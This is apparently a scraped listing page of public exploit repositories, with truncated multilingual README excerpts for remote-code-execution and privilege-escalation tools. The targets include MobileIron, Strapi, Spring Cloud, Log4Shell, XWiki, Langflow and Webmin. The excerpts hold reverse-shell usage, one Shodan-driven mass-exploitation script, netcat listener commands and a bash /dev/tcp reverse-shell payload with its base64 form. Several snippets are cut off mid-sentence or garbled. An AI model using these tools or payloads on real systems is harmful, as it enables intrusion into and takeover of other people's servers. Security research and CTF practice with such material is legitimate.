CVE-2023-38035-MobileIron-RCE

MobileIron CVE-2023-38035 漏洞利用 README.md 描述 该 bash 脚本自动扫描易受 CVE-2023-38035 漏洞影响的 MobileIron 系统。脚本执行多项检查，包括检查所需程序、从 Shodan 下载潜在目标、扫描这些目标，最后尝试在易受攻击的系统上启动 shell。 功能 自动 Shodan 查询，查找易受攻击的 MobileIron 系统 提取 IP 地址以供扫描 自动评估目标漏洞 提供使用不同方法（如 ncat 或 multireverse.sh）执行反向 shell 的选项 检查缺失的依赖项并推荐安装 漂亮横幅，让工具看起来很酷 😎...

Strapi-RCE

Strapi-RCE Strapi CMS에서 인증되지 않은 원격 코드 실행을 위해 CVE-2019-18818과 CVE-2019-19609를 결합한 익스플로잇 스크립트입니다. 익스플로잇 이 스크립트는 Strapi CMS 버전 3.0.0-beta.17.4 이하에서 발견된 취약점을 악용하여 인증되지 않은 원격 코드 실행을 가능하게 합니다. 설명 익스플로잇은 먼저 비밀번호 재설정 취약점을 이용해 관리 사용자의 JSON 웹 토큰JWT을 획득합니다. 그런 다음 이 토큰을 사용하여 악성 페이로드를 Strapi CMS에 전송하고, 공격자 머신...

RCE-in-Spring-Cloud-CVE-2022-22963

Spring Cloud RCE 漏洞利用工具 CVE-2022-22963 用于 CVE-2022-22963 远程命令执行的 Spring Cloud Function 漏洞利用工具 关于此漏洞的详细信息，请参见此处和此处 PoC 在你的主机上运行 netcat： root@kitploit: $ nc -lvnp 9001 在攻击者主机上使用默认端口 9001 运行漏洞利用工具（示例）： root@kitploit: $ ./exploit.sh site.com 10.10.14.122 ---Reverse Shell Exploit for CVE-2022-22963 RC...

php_reverse_shell

このリポジトリには README がありません。...

cve-2025-23266-migration-bypass

cve-2025-23266-migration-bypass cve-2025-23266-migration-bypass フラグの内容を取得する方法は2つあります: 1. ホストからコンテナのマウントディレクトリにコピーする; 2. リバースシェルを使用して取得する;...

php-8.1.0-dev-exploit

php-8.1-dev-Exploit ⚠️ 重要（最初にお読みください） このリポジトリには、CTF / ラボ専用のJava PoC（概念実証）が含まれています。所有していないシステム、または明示的な書面による許可を得ていないシステムに対してこのコードを実行しないでください。不正なエクスプロイトは違法です。隔離された環境（VM、コンテナ、プライベートCTF/HTBボックス）でのみ使用してください。 前提条件 Java JDK 8+ がインストールされていること（PATHにjavacとjavaが含まれていること） 攻撃マシンとターゲット（ラボ/CTFネットワーク）の間のネットワーク接続...

Log4Shell-CVE-2021-44228-ENV

Log4Shell 재현 환경 예제 설명 피해자 IP: 47.47.47.47 공격자 IP: 48.48.48.48 피해자: 취약 Docker 실행 DockerFile을 사용하여 Docker 이미지 빌드 및 실행: root@kitploit: docker build . -t vuln docker run -p 8080:8080 --name vuln vuln 공격자: 공격 Docker 실행 DockerFile을 사용하여 Docker 이미지 빌드 및 실행 root@kitploit: docker build . -t attack docker...

CVE-2024-48990-POC

CVE-2024-48990-POC 针对 CVE-2024-48990 与 needrestart 的权限提升漏洞的简单 PoC。 https://www.qualys.com/2024/11/19/needrestart/needrestart.txt 概述 这是在完成 HackTheBox 挑战 'Conversor' 时设计的。稍后会进行一些修改以使其更通用。我只是不喜欢我找到的实现方式，所以决定自己写一个。以后可能会添加更多内容。 注意 ：我可能会在之后更改实现，将其改为直接升级当前会话，而不是创建新的反向 shell。 用法 这是一个自动执行漏洞利用的 bash...

CVE-2026-33017-Exploit

Fireflow RCE 익스플로잇 Langflow의 buildpublictmp 엔드포인트를 통한 원격 코드 실행. 대상에 리버스 쉘을 실행하는 공개 플로우 빌드 엔드포인트를 통한 익스플로잇. 요구 사항 Python 3.8+ httpx 라이브러리 설치: root@kitploit: pip install httpx 사용법 root@kitploit: python exploit.py -u -l -p --flow-id --client-id 인자 -u, --url : Langflow 인스턴스의 기본 URL 예:...

xwiki-15.10.8-reverse-shell-cve-2025-24893

CVE-2025-24893 XWiki用リバースシェルエクスプロイト 免責事項: このスクリプトは教育目的および許可されたセキュリティテストのみ を意図しています。所有していない、または明示的なテスト許可がないシステムでは使用しない でください。悪用は違法かつ危険です。 説明 このPythonスクリプトは、XWikiバージョン15.10.10 までに影響するリモートコード実行脆弱性CVE-2025-24893 を悪用します。 テスト済みバージョン: XWiki 15.10.8 影響: ターゲットサーバー上での任意のコマンド実行を許可します。 Pythonバージョン: Python 3...

CVE-2023-34468

CVE-2023-34468 — Apache NiFi ExecuteSQL H2 RUNSCRIPT RCE PoC 編集可能なApache NiFi ExecuteSQLプロセッサを悪用し、H2のRUNSCRIPTペイロードを使用してBashリバースシェル経由でリモートコマンド実行を誘発する、短いPythonのPoCです。 認可されたテストおよび研究目的のみに使用してください。所有していない、または明示的なテスト許可を得ていないシステムに対して使用しないでください。 動作概要 root@kitploit: ExecuteSQL processor update - H2...

CVE-2026-27971_POC

CVE-2026-27971 — Qwik server$ 未認証RCE PoC !WARNING このリポジトリには、アクティブなリモートコード実行の概念実証が含まれています。自分が所有するシステム、または明示的にテストする許可を得ているシステムに対してのみ使用してください。作者は、許可されていない使用や損害について一切の責任を負いません。 CVE-2026-27971 / GHSA-p9x5-jp3h-96mm のスタンドアロンPython概念実証です。これは、Qwik server$ RPC デシリアライゼーション機構における未認証のリモートコード実行脆弱性です。...

CVE-2024-4157-SSRF-RCE-Reverse-Shell

CVE-2024-4157: Havoc C2에서 리버스 셸 얻기 - SSRF와 RCE 연쇄 로컬 IP와 포트로 리버스 셸을 얻으며, CVE-2024-4157 POC와 havocauthrce를 연쇄합니다. 사용법 기본 정보 root@kitploit: $ python3 exploit.py usage: exploit.py -h -t TARGET -i IP -p PORT -A USERAGENT -H HOSTNAME -u USERNAME -d DOMAINNAME -n PROCESSNAME -ip INTERNALIP -U...

BlueDoor

BlueDoor CTF チャレンジ 概要 チャレンジ名 : BlueDoor CVE : CVE-2017-0144 EternalBlue 難易度 : 3/5 カテゴリ : エクスプロイト、Windows 作成者 : Seth Davis BlueDoor は、Windows 7 システムにおける実際の脆弱性 EternalBlue - CVE-2017-0144 をシミュレートします。目的は、脆弱性を悪用し、権限を昇格させ、隠されたフラグを取得することです。 要件 仮想マシンソフトウェア : VMware、VirtualBox、または同等のもの オペレーティングシステム :...

CVE-2022-42889-text4shell

CVE-2022-42889-text4shell 설명 이 스크립트는 Apache Commons Text버전 -param $PARAMETER -L $LHOST -P $LPORT 예시 root@kitploit: python3 exploit.py -t 10.10.10.10 -p 8080 -u /search/ -param query -L 10.10.14.5 -P 139 면책 조항 이 도구는 교육 목적과 공인된 침투 테스트만을 위해 제작되었습니다. 저자는 이 스크립트로 인한 오용이나 피해에 대해 책임을 지지 않습니다...

CVE-2024-4439

CVE-2024-4439 のエクスプロイト このPythonスクリプトは、脆弱性 CVE-2024-4439 のエクスプロイトを実演します。このスクリプトを使用して、脆弱なWordPressサイトをテストできます。 使用方法 開始前に root@kitploit: git clone https://github.com/soltanali0/CVE-2024-4439.git cd CVE-2024-4439 pip install -r r.txt --break-system-packages 以下のコマンドでスクリプトを実行します: root@kitploit: python3...

CVE-2023-38646

CVE-2023-38646 元のスクリプトはsecurezeronから取得しました。 テスト中に、このPoCが生成するリバースシェルはbase6エンコード後に末尾の'='文字が原因で悪用に失敗することがわかりました。それを少し修正してこの問題を解決しました。 root@kitploit: 原始的生成reverse shell负载的代码 base64.b64encode"bash -i &/dev/tcp/10.10.14.59/8080 0&1".encode.decode 'YmFzaCAtaSA+Ji9kZXYvdGNwLzEwLjEwLjE0LjU5LzgwODAgMD4mMQ=...

CVE-2019-15107

CVE-2019-15107 CVE-2019-15107용 POC 교육 목적으로만 사용하십시오. 사용 방법: 머신에서 리스너를 엽니다 nc -lnvp perl 명령을 사용자 IP와 포트에 맞게 수정하세요. 스크립트를 실행하면 리스너에 리버스 셸이 열립니다. 파이썬 스크립트는 타임아웃이 발생할 것이며, 이는 정상입니다...

POC-exploit-for-Dolibarr

Dolibarr example: python3 exploit.py http://example.com login password 127.0.0.1 9001 ---Reverse Shell Exploit for Dolibarr = 17.0.0 CVE-2023-30253--- positional arguments: hostname Target hostname username Username of Dolibarr ERP/CRM password Password of Dolibarr ERP/CRM lhost Listening host fo...

CVE-2021-22204

CVE-2021-22204 취약점 exiftool 임의 명령 실행 사용법 1. exploit.py 파일에서 리버스 쉘 받을 ip, port 설정 후 docker compose up 실행 2. docker shell에 접근 후 /root 경로에서 python3 exploit.py 파일을 실행할 경우 image.jpg 파일 공격 코드 생성 3. 해당 image.jpg 파일을 다운로드하여 사용 참고...